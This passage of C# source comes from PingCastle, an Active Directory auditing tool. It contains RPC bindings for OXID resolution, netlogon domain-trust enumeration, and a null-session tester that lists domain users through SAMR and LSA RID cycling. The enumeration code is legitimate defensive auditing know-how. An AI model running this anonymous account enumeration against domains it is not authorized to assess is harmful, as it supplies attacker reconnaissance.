39 | public OxidBindings()
40 | {
41 | Guid interfaceId = new Guid("99fcfec4-5260-101b-bbcb-00aa0021347a");
42 | if (IntPtr.Size == 8)
43 | {
44 | InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, null, 0);
45 | }
46 | else
47 | {
48 | InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, null, 0);
49 | }
50 | }
51 |
52 | ~OxidBindings()
53 | {
54 | freeStub();
55 | }
56 |
57 | [StructLayout(LayoutKind.Sequential)]
58 | internal struct COMVERSION
59 | {
60 | public UInt16 MajorVersion;
61 | public UInt16 MinorVersion;
62 | }
63 |
64 | public Int32 ServerAlive2(string server, out List stringBindings)
65 | {
66 | IntPtr hBind;
67 | stringBindings = new List();
68 | Int32 status = Bind(server, out hBind);
69 | if (status != 0)
70 | return status;
71 | try
72 | {
73 | status = NativeMethods.RpcEpResolveBinding(hBind, rpcClientInterface);
74 | if (status != 0)
75 | return status;
76 |
77 | var conversion = new COMVERSION() { MajorVersion = 5, MinorVersion = 1 };
78 | UInt32 reserved = 0;
79 | IntPtr DualStringArray = IntPtr.Zero;
80 | try
81 | {
82 | if (IntPtr.Size == 8)
83 | {
84 | IntPtr result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(150), hBind, ref conversion, out DualStringArray, ref reserved);
85 | if (result != IntPtr.Zero)
86 | return result.ToInt32();
87 | }
88 | else
89 | {
90 | GCHandle h2 = GCHandle.Alloc(conversion, GCHandleType.Pinned);
91 |
92 | GCHandle h3 = GCHandle.Alloc(DualStringArray, GCHandleType.Pinned);
93 | GCHandle h4 = GCHandle.Alloc(reserved, GCHandleType.Pinned);
94 | IntPtr tempValuePointer = h3.AddrOfPinnedObject();
95 | try
96 | {
97 | IntPtr result = CallNdrClientCall2x86(140, hBind, h2.AddrOfPinnedObject(), tempValuePointer, h4.AddrOfPinnedObject());
98 | if (result != IntPtr.Zero)
99 | return result.ToInt32();
100 | // each pinvoke work on a copy of the arguments (without an out specifier)
101 | // get back the data
102 | DualStringArray = Marshal.ReadIntPtr(tempValuePointer);
103 |
104 | }
105 | finally
106 | {
107 | h2.Free();
108 | h3.Free();
109 | h4.Free();
110 | }
111 | }
112 | Int16 wSecurityOffest = Marshal.ReadInt16(new IntPtr(DualStringArray.ToInt64() + 2));
113 | int offset = 4;
114 | while (offset < wSecurityOffest * 2)
115 | {
116 | string value = Marshal.PtrToStringUni(new IntPtr(DualStringArray.ToInt64() + offset + 2));
117 | stringBindings.Add(value);
118 | offset += value.Length * 2 + 2 + 2;
119 | }
120 | FreeMemory(DualStringArray);
121 | }
122 | catch (SEHException)
123 | {
124 | return Marshal.GetExceptionCode();
125 | }
126 | }
127 | finally
128 | {
129 | Unbind(IntPtr.Zero, hBind);
130 | }
131 | return 0;
132 | }
133 | }
134 | }
135 |
--------------------------------------------------------------------------------
/Database/PingCastle/RPC/nativemethods.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Copyright (c) Ping Castle. All rights reserved.
3 | // https://www.pingcastle.com
4 | //
5 | // Licensed under the Non-Profit OSL. See LICENSE file in the project root for full license information.
6 | //
7 | using System;
8 | using System.Runtime.InteropServices;
9 |
10 | namespace PingCastle.RPC
11 | {
12 | internal class NativeMethods
13 | {
14 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW",
15 | CallingConvention = CallingConvention.StdCall,
16 | CharSet = CharSet.Unicode, SetLastError = false)]
17 | internal static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding);
18 |
19 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
20 | CharSet = CharSet.Unicode, SetLastError = false)]
21 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, ref IntPtr Handle);
22 |
23 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
24 | CharSet = CharSet.Unicode, SetLastError = false)]
25 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr intptrServer, int flag, ref PingCastle.RPC.nrpc3.NETLOGON_TRUSTED_DOMAIN_ARRAY output);
26 |
27 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
28 | CharSet = CharSet.Unicode, SetLastError = false)]
29 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr intptrSystemName, ref PingCastle.RPC.lsa.LSAPR_OBJECT_ATTRIBUTES objectAttributes, UInt32 DesiredAccess, out IntPtr PolicyHandle);
30 |
31 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
32 | CharSet = CharSet.Unicode, SetLastError = false)]
33 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PolicyHandle, UInt32 InformationClass, out IntPtr IntPtrPolicyInformation);
34 |
35 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
36 | CharSet = CharSet.Unicode, SetLastError = false)]
37 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr PolicyHandle, PingCastle.RPC.lsa.LSAPR_SID_ENUM_BUFFER enumBuffer, out IntPtr IntPtrReferencedDomains, IntPtr IntPtrTranslatedNames, UInt32 LookupLevel, out UInt32 MappedCount);
38 |
39 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
40 | CharSet = CharSet.Unicode, SetLastError = false)]
41 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr intptrServer, out IntPtr ServerHandle, UInt32 DesiredAccess);
42 |
43 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
44 | CharSet = CharSet.Unicode, SetLastError = false)]
45 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr ServerHandle, ref IntPtr EnumerationContext, out IntPtr IntptrBuffer, UInt32 PreferedMaximumLength, out UInt32 CountReturned);
46 |
47 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
48 | CharSet = CharSet.Unicode, SetLastError = false)]
49 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr ServerHandle, PingCastle.NativeMethods.UNICODE_STRING NameString, out IntPtr sid);
50 |
51 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
52 | CharSet = CharSet.Unicode, SetLastError = false)]
53 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr ServerHandle, Int32 DesiredAccess, byte[] sid, out IntPtr DomainHandle);
54 |
55 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
56 | CharSet = CharSet.Unicode, SetLastError = false)]
57 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr DomainHandle, ref IntPtr EnumerationContext, Int32 UserAccountControl, out IntPtr IntptrBuffer, Int32 PreferedMaximumLength, ref UInt32 CountReturned);
58 |
59 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
60 | CharSet = CharSet.Unicode, SetLastError = false)]
61 | internal static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args);
62 |
63 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
64 | CharSet = CharSet.Unicode, SetLastError = false)]
65 | internal static extern IntPtr NdrClientCall2x64(IntPtr intPtr1, IntPtr intPtr2, string pPrinterName, out IntPtr pHandle, string pDatatype, ref rprn.DEVMODE_CONTAINER pDevModeContainer, int AccessRequired);
66 |
67 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
68 | CharSet = CharSet.Unicode, SetLastError = false)]
69 | internal static extern IntPtr NdrClientCall2x64(IntPtr intPtr1, IntPtr intPtr2, IntPtr hPrinter, uint fdwFlags, uint fdwOptions, string pszLocalMachine, uint dwPrinterLocal, IntPtr intPtr3);
70 |
71 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
72 | CharSet = CharSet.Unicode, SetLastError = false)]
73 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr Handle, ref PingCastle.RPC.OxidBindings.COMVERSION i1, out System.IntPtr i2, ref uint i3);
74 |
75 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall,
76 | CharSet = CharSet.Unicode, SetLastError = false)]
77 | internal static extern Int32 RpcBindingFree(ref IntPtr lpString);
78 |
79 | //#region RpcStringBindingCompose
80 |
81 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall,
82 | CharSet = CharSet.Unicode, SetLastError = false)]
83 | internal static extern Int32 RpcStringBindingCompose(
84 | String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options,
85 | out IntPtr lpBindingString
86 | );
87 |
88 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
89 | internal struct SEC_WINNT_AUTH_IDENTITY
90 | {
91 | [MarshalAs(UnmanagedType.LPWStr)]
92 | public string User;
93 | public int UserLength;
94 | [MarshalAs(UnmanagedType.LPWStr)]
95 | public string Domain;
96 | public int DomainLength;
97 | [MarshalAs(UnmanagedType.LPWStr)]
98 | public string Password;
99 | public int PasswordLength;
100 | public int Flags;
101 | };
102 |
103 | [StructLayout(LayoutKind.Sequential)]
104 | public struct RPC_SECURITY_QOS
105 | {
106 | public Int32 Version;
107 | public Int32 Capabilities;
108 | public Int32 IdentityTracking;
109 | public Int32 ImpersonationType;
110 | };
111 |
112 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall,
113 | CharSet = CharSet.Unicode, SetLastError = false)]
114 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr Binding, String ServerPrincName,
115 | UInt32 AuthnLevel, UInt32 AuthnSvc,
116 | IntPtr identity,
117 | uint AuthzSvc);
118 |
119 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall,
120 | CharSet = CharSet.Unicode, SetLastError = false)]
121 | internal static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName,
122 | UInt32 AuthnLevel, UInt32 AuthnSvc, ref SEC_WINNT_AUTH_IDENTITY AuthIdentity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS);
123 |
124 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall,
125 | CharSet = CharSet.Unicode, SetLastError = false)]
126 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName,
127 | UInt32 AuthnLevel, UInt32 AuthnSvc, ref SEC_WINNT_AUTH_IDENTITY AuthIdentity, UInt32 AuthzSvc);
128 |
129 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall,
130 | CharSet = CharSet.Unicode, SetLastError = false)]
131 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName,
132 | UInt32 AuthnLevel, UInt32 AuthnSvc, UIntPtr pointer, UInt32 AuthzSvc);
133 |
134 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)]
135 | internal static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, UInt32 OptionValue);
136 |
137 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)]
138 | internal static extern Int32 RpcEpResolveBinding(IntPtr Binding, IntPtr RpcClientInterface);
139 |
140 | [DllImport("advapi32.dll", SetLastError = true)]
141 | internal static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex);
142 |
143 | [DllImport("advapi32.dll", SetLastError = true)]
144 | internal static extern IntPtr GetSidSubAuthorityCount(IntPtr psid);
145 |
146 | }
147 | }
148 |
--------------------------------------------------------------------------------
/Database/PingCastle/RPC/nrpc.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Copyright (c) Ping Castle. All rights reserved.
3 | // https://www.pingcastle.com
4 | //
5 | // Licensed under the Non-Profit OSL. See LICENSE file in the project root for full license information.
6 | //
7 | using System;
8 | using System.Collections.Generic;
9 | using System.Diagnostics;
10 | using System.Runtime.InteropServices;
11 | using System.Security.Permissions;
12 | using System.Security.Principal;
13 |
14 | namespace PingCastle.RPC
15 | {
16 |
17 | [DebuggerDisplay("{DnsDomainName} {NetbiosDomainName}")]
18 | public class TrustedDomain
19 | {
20 | public string NetbiosDomainName;
21 | public string DnsDomainName;
22 | public TrustedDomainFlag Flags;
23 | public int ParentIndex;
24 | public int TrustType;
25 | public int TrustAttributes;
26 | public SecurityIdentifier DomainSid;
27 | public Guid DomainGuid;
28 | }
29 |
30 | [Flags]
31 | public enum TrustedDomainFlag
32 | {
33 | DS_DOMAIN_IN_FOREST = 1,
34 | DS_DOMAIN_DIRECT_OUTBOUND = 2,
35 | DS_DOMAIN_TREE_ROOT = 4,
36 | DS_DOMAIN_PRIMARY = 8,
37 | DS_DOMAIN_NATIVE_MODE = 16,
38 | DS_DOMAIN_DIRECT_INBOUND = 32,
39 | }
40 |
41 | public class nrpc3 : rpcapi
42 | {
43 |
44 | private static byte[] MIDL_ProcFormatStringx86 = new byte[] {
45 | 0x00,0x48,0x00,0x00,0x00,0x00,0x28,0x00,0x10,0x00,0x31,0x04,0x00,0x00,0x00,0x5c,0x08,0x00,0x08,0x00,0x47,0x04,0x08,0x03,0x01,0x00,0x00,0x00,0x00,
46 | 0x00,0x0b,0x00,0x00,0x00,0x02,0x00,0x48,0x00,0x04,0x00,0x08,0x00,0x13,0x21,0x08,0x00,0xaa,0x00,0x70,0x00,0x0c,0x00,0x08,0x00,0x00
47 | };
48 |
49 | private static byte[] MIDL_ProcFormatStringx64 = new byte[] {
50 | 0x00,0x48,0x00,0x00,0x00,0x00,0x28,0x00,0x20,0x00,0x31,0x08,0x00,0x00,0x00,0x5c,0x08,0x00,0x08,0x00,0x47,0x04,0x0a,0x03,0x01,0x00,0x00,0x00,0x00,
51 | 0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x02,0x00,0x48,0x00,0x08,0x00,0x08,0x00,0x13,0x41,0x10,0x00,0x7c,0x00,0x70,0x00,0x18,0x00,0x08,0x00,0x00
52 | };
53 |
54 | private static byte[] MIDL_TypeFormatStringx86 = new byte[] {
55 | 0x00,0x00,0x12,0x08,0x25,0x5c,0x11,0x04,0xa2,0x00,0x1d,0x00,0x08,0x00,0x01,0x5b,0x15,0x03,0x10,0x00,0x08,0x06,0x06,0x4c,0x00,0xf1,0xff,0x5b,0x1d,
56 | 0x00,0x06,0x00,0x01,0x5b,0x15,0x00,0x06,0x00,0x4c,0x00,0xf4,0xff,0x5c,0x5b,0x1b,0x03,0x04,0x00,0x04,0x00,0xf9,0xff,0x01,0x00,0x08,0x5b,0x17,0x03,
57 | 0x08,0x00,0xf0,0xff,0x02,0x02,0x4c,0x00,0xe0,0xff,0x5c,0x5b,0x16,0x03,0x2c,0x00,0x4b,0x5c,0x46,0x5c,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x46,
58 | 0x5c,0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x18,0x00,0x18,0x00,0x12,0x00,0xd0,0xff,0x5b,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x4c,0x00,
59 | 0x9c,0xff,0x5c,0x5b,0x1b,0x03,0x2c,0x00,0x19,0x00,0x00,0x00,0x01,0x00,0x4b,0x5c,0x48,0x49,0x2c,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x12,
60 | 0x08,0x25,0x5c,0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x18,0x00,0x18,0x00,0x12,0x00,0x96,0xff,0x5b,0x4c,0x00,0x9f,0xff,0x5b,0x16,0x03,0x08,0x00,
61 | 0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x00,0xc0,0xff,0x5b,0x08,0x08,0x5b,0x00
62 | };
63 |
64 | private static byte[] MIDL_TypeFormatStringx64 = new byte[] {
65 | 0x00,0x00,0x12,0x08,0x25,0x5c,0x11,0x04,0x74,0x00,0x1d,0x00,0x08,0x00,0x01,0x5b,0x15,0x03,0x10,0x00,0x08,0x06,0x06,0x4c,0x00,0xf1,0xff,0x5b,0x1d,
66 | 0x00,0x06,0x00,0x01,0x5b,0x15,0x00,0x06,0x00,0x4c,0x00,0xf4,0xff,0x5c,0x5b,0x1b,0x03,0x04,0x00,0x04,0x00,0xf9,0xff,0x01,0x00,0x08,0x5b,0x17,0x03,
67 | 0x08,0x00,0xf0,0xff,0x02,0x02,0x4c,0x00,0xe0,0xff,0x5c,0x5b,0x1a,0x03,0x38,0x00,0x00,0x00,0x0e,0x00,0x36,0x36,0x08,0x08,0x08,0x08,0x36,0x4c,0x00,
68 | 0xb9,0xff,0x5b,0x12,0x08,0x25,0x5c,0x12,0x08,0x25,0x5c,0x12,0x00,0xd4,0xff,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x01,0x00,0xff,0xff,0xff,0xff,
69 | 0x00,0x00,0x4c,0x00,0xce,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x40,0x36,0x5b,0x12,0x00,0xdc,0xff,0x00
70 | };
71 |
72 | [StructLayout(LayoutKind.Sequential)]
73 | internal struct NETLOGON_TRUSTED_DOMAIN_ARRAY
74 | {
75 | public int DomainCount;
76 | public IntPtr Domains;
77 | }
78 |
79 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
80 | private struct DS_DOMAIN_TRUSTSW
81 | {
82 | public IntPtr NetbiosDomainName;
83 | public IntPtr DnsDomainName;
84 | public int Flags;
85 | public int ParentIndex;
86 | public int TrustType;
87 | public int TrustAttributes;
88 | public IntPtr DomainSid;
89 | public Guid DomainGuid;
90 | }
91 |
92 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
93 | public nrpc3(bool WillUseNullSession = true)
94 | {
95 | Guid interfaceId = new Guid(magic(8) + "-" + magic(4) + "-ABCD-EF00-01234567CFFB");
96 | if (IntPtr.Size == 8)
97 | {
98 | InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, "\\pipe\\netlogon");
99 | }
100 | else
101 | {
102 | InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, "\\pipe\\netlogon");
103 | }
104 | UseNullSession = WillUseNullSession;
105 | }
106 |
107 | [SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
108 | ~nrpc3()
109 | {
110 | freeStub();
111 | }
112 |
113 | [SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
114 | public Int32 DsrEnumerateDomainTrusts(string server, int flag, out List domains)
115 | {
116 | IntPtr result = IntPtr.Zero;
117 | domains = null;
118 | IntPtr intptrServer = Marshal.StringToHGlobalUni(server);
119 | NETLOGON_TRUSTED_DOMAIN_ARRAY output = new NETLOGON_TRUSTED_DOMAIN_ARRAY();
120 | try
121 | {
122 | if (IntPtr.Size == 8)
123 | {
124 | result = NativeMethods.NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(0), intptrServer, flag, ref output);
125 | }
126 | else
127 | {
128 | GCHandle handle = GCHandle.Alloc(output, GCHandleType.Pinned);
129 | IntPtr tempValuePointer = handle.AddrOfPinnedObject();
130 | try
131 | {
132 | result = CallNdrClientCall2x86(0, intptrServer, new IntPtr((int)flag), tempValuePointer);
133 | // each pinvoke work on a copy of the arguments (without an out specifier)
134 | // get back the data
135 | output = (NETLOGON_TRUSTED_DOMAIN_ARRAY)Marshal.PtrToStructure(tempValuePointer, typeof(NETLOGON_TRUSTED_DOMAIN_ARRAY));
136 | }
137 | finally
138 | {
139 | handle.Free();
140 | }
141 | }
142 | }
143 | catch (SEHException)
144 | {
145 | return Marshal.GetExceptionCode();
146 | }
147 | finally
148 | {
149 | if (intptrServer != IntPtr.Zero)
150 | Marshal.FreeHGlobal(intptrServer);
151 | }
152 | domains = DomainArrayToTrustedDomainList(output);
153 | return (int)result.ToInt64();
154 | }
155 |
156 | [SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
157 | private List DomainArrayToTrustedDomainList(NETLOGON_TRUSTED_DOMAIN_ARRAY trustedDomainArray)
158 | {
159 | List output = new List();
160 | int size = Marshal.SizeOf(typeof(DS_DOMAIN_TRUSTSW));
161 | for (int i = 0; i < trustedDomainArray.DomainCount; i++)
162 | {
163 | DS_DOMAIN_TRUSTSW trust = (DS_DOMAIN_TRUSTSW)Marshal.PtrToStructure(new IntPtr(trustedDomainArray.Domains.ToInt64() + size * i), typeof(DS_DOMAIN_TRUSTSW));
164 | TrustedDomain domain = new TrustedDomain();
165 | if (trust.DnsDomainName != IntPtr.Zero)
166 | {
167 | domain.DnsDomainName = Marshal.PtrToStringUni(trust.DnsDomainName);
168 | FreeMemory(trust.DnsDomainName);
169 | }
170 | if (trust.NetbiosDomainName != IntPtr.Zero)
171 | {
172 | domain.NetbiosDomainName = Marshal.PtrToStringUni(trust.NetbiosDomainName);
173 | FreeMemory(trust.NetbiosDomainName);
174 | }
175 | domain.Flags = (TrustedDomainFlag)trust.Flags;
176 | domain.ParentIndex = trust.ParentIndex;
177 | domain.TrustAttributes = trust.TrustAttributes;
178 | domain.TrustType = trust.TrustType;
179 | domain.DomainGuid = trust.DomainGuid;
180 | if (trust.DomainSid != IntPtr.Zero)
181 | {
182 | domain.DomainSid = new SecurityIdentifier(trust.DomainSid);
183 | FreeMemory(trust.DomainSid);
184 | }
185 | output.Add(domain);
186 | }
187 | FreeMemory(trustedDomainArray.Domains);
188 | return output;
189 | }
190 |
191 | }
192 | }
193 |
--------------------------------------------------------------------------------
/Database/PingCastle/RPC/nullsession.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Copyright (c) Ping Castle. All rights reserved.
3 | // https://www.pingcastle.com
4 | //
5 | // Licensed under the Non-Profit OSL. See LICENSE file in the project root for full license information.
6 | //
7 | using System;
8 | using System.Diagnostics;
9 | using System.Runtime.InteropServices;
10 | using System.Security.Permissions;
11 | using System.Security.Principal;
12 |
13 | namespace PingCastle.RPC
14 | {
15 | public enum TypeOfEnumeration
16 | {
17 | Samr,
18 | Lsa,
19 | }
20 |
21 | public class NullSessionTester
22 | {
23 | public delegate void Enumerate(NTAccount account);
24 |
25 | public Enumerate EnumerateCallback { get; set; }
26 | public string Server { get; set; }
27 | public uint RPCTimeOut { get; set; }
28 |
29 | public NullSessionTester(string server, Enumerate enumerateCallback = null)
30 | {
31 | Server = server;
32 | EnumerateCallback = enumerateCallback;
33 | }
34 |
35 | public bool EnumerateAccount(int MaximumNumber = int.MaxValue)
36 | {
37 | if (EnumerateAccount(TypeOfEnumeration.Samr, MaximumNumber))
38 | return true;
39 | return EnumerateAccount(TypeOfEnumeration.Lsa, MaximumNumber);
40 | }
41 |
42 | public bool EnumerateAccount(TypeOfEnumeration method, int MaximumNumber = int.MaxValue)
43 | {
44 | if (method == TypeOfEnumeration.Samr)
45 | {
46 | return EnumerateAccountUsingSamr(method, MaximumNumber);
47 | }
48 | else if (method == TypeOfEnumeration.Lsa)
49 | {
50 | return EnumerateAccountUsingLsa(method, MaximumNumber);
51 | }
52 | return false;
53 | }
54 |
55 | [SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
56 | private bool EnumerateAccountUsingLsa(TypeOfEnumeration method, int MaximumNumber)
57 | {
58 | Trace.WriteLine("EnumerateAccountUsingLsa");
59 | int UserEnumerated = 0;
60 | Int32 returnCode;
61 | IntPtr PolicyHandle = IntPtr.Zero;
62 | lsa lsa = new lsa();
63 | lsa.RPCTimeOut = this.RPCTimeOut;
64 | returnCode = lsa.LsarOpenPolicy(Server, 0x00000801, out PolicyHandle);
65 | if (returnCode != 0)
66 | {
67 | Trace.WriteLine("LsarOpenPolicy " + returnCode);
68 | return false;
69 | }
70 | try
71 | {
72 | LSA_DOMAIN_INFORMATION PolicyInformation;
73 | returnCode = lsa.LsarQueryInformationPolicy(PolicyHandle, 5, out PolicyInformation);
74 | if (returnCode != 0)
75 | {
76 | Trace.WriteLine("LsarQueryInformationPolicy " + returnCode);
77 | return false;
78 | }
79 | uint currentRid = 500;
80 | int iteration = 0;
81 | // allows 10*1000 sid non resolved
82 | int retrycount = 0;
83 | while ((returnCode == 0 || returnCode == 0x00000107 || (retrycount < 10 && returnCode == -1073741709)) && UserEnumerated < MaximumNumber)
84 | {
85 | Trace.WriteLine("LsarLookupSids iteration " + iteration++);
86 | SecurityIdentifier[] enumBuffer = new SecurityIdentifier[1000];
87 | for (int i = 0; i < enumBuffer.Length; i++)
88 | {
89 | enumBuffer[i] = BuildSIDFromDomainSidAndRid(PolicyInformation.DomainSid, currentRid++);
90 | }
91 | UInt32 MappedCount;
92 | LSA_LOOKUP_RESULT[] LookupResult;
93 | returnCode = lsa.LsarLookupSids(PolicyHandle, enumBuffer, out LookupResult, 2, out MappedCount);
94 | if (returnCode == 0 || returnCode == 0x00000107)
95 | {
96 | retrycount = 0;
97 | for (int i = 0; i < enumBuffer.Length && UserEnumerated < MaximumNumber; i++)
98 | {
99 | if (LookupResult[i].Use == SID_NAME_USE.SidTypeUser && !String.IsNullOrEmpty(LookupResult[i].TranslatedName))
100 | {
101 | UserEnumerated++;
102 | Trace.WriteLine("User:" + LookupResult[i].TranslatedName);
103 | if (EnumerateCallback != null)
104 | {
105 | EnumerateCallback(new NTAccount(LookupResult[i].DomainName, LookupResult[i].TranslatedName));
106 | }
107 | }
108 | }
109 | }
110 | else
111 | {
112 | retrycount++;
113 | Trace.WriteLine("LsarLookupSids " + returnCode);
114 | }
115 | }
116 | }
117 | finally
118 | {
119 | returnCode = lsa.LsarClose(ref PolicyHandle);
120 | }
121 | Trace.WriteLine("EnumerateAccountUsingLsa done");
122 | return UserEnumerated > 0;
123 | }
124 |
125 | [SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]
126 | private bool EnumerateAccountUsingSamr(TypeOfEnumeration method, int MaximumNumber)
127 | {
128 | Trace.WriteLine("EnumerateAccountUsingSamr");
129 | int UserEnumerated = 0;
130 | IntPtr ServerHandle = IntPtr.Zero;
131 | samr2 sam = new samr2();
132 | sam.RPCTimeOut = this.RPCTimeOut;
133 | Int32 returnCode;
134 | returnCode = sam.SamrConnect(Server, out ServerHandle, 0x20030);
135 | if (returnCode != 0)
136 | {
137 | Trace.WriteLine("SamrConnect " + returnCode);
138 | return false;
139 | }
140 | try
141 | {
142 | IntPtr enumerationContext = IntPtr.Zero;
143 | SAMR_ENUMERATION_ENTRY[] Buffer = null;
144 | UInt32 CountReturned = 0;
145 | returnCode = sam.SamrEnumerateDomainsInSamServer(ServerHandle, ref enumerationContext, out Buffer, 10000, out CountReturned);
146 | if (returnCode != 0)
147 | {
148 | Trace.WriteLine("SamrEnumerateDomainsInSamServer " + returnCode);
149 | return false;
150 | }
151 | for (ulong i = 0; i < CountReturned; i++)
152 | {
153 | Trace.WriteLine("Domain:" + Buffer[i].Name);
154 | SecurityIdentifier DomainId;
155 | IntPtr DomainHandle = IntPtr.Zero;
156 | IntPtr enumerationContextUser = IntPtr.Zero;
157 | SAMR_ENUMERATION_ENTRY[] EnumerationBuffer = null;
158 | UInt32 UserCount = 0;
159 | returnCode = sam.SamrLookupDomainInSamServer(ServerHandle, Buffer[i].Name, out DomainId);
160 | if (returnCode < 0)
161 | {
162 | Trace.WriteLine("SamrLookupDomainInSamServer " + returnCode);
163 | continue;
164 | }
165 | returnCode = sam.SamrOpenDomain(ServerHandle, 0x100, DomainId, out DomainHandle);
166 | if (returnCode < 0)
167 | {
168 | Trace.WriteLine("SamrOpenDomain " + returnCode);
169 | continue;
170 | }
171 | try
172 | {
173 | int iteration = 0;
174 | returnCode = 0x00000105;
175 | while (returnCode == 0x00000105 && UserEnumerated < MaximumNumber)
176 | {
177 | Trace.WriteLine("SamrEnumerateUsersInDomain iteration " + iteration++);
178 | returnCode = sam.SamrEnumerateUsersInDomain(DomainHandle, ref enumerationContextUser, 0, out EnumerationBuffer, 10000, out UserCount);
179 | if ((returnCode == 0 || returnCode == 0x00000105) && EnumerationBuffer != null)
180 | {
181 | for (int j = 0; j < EnumerationBuffer.Length && UserEnumerated++ < MaximumNumber; j++)
182 | {
183 | Trace.WriteLine("User:" + EnumerationBuffer[j].Name);
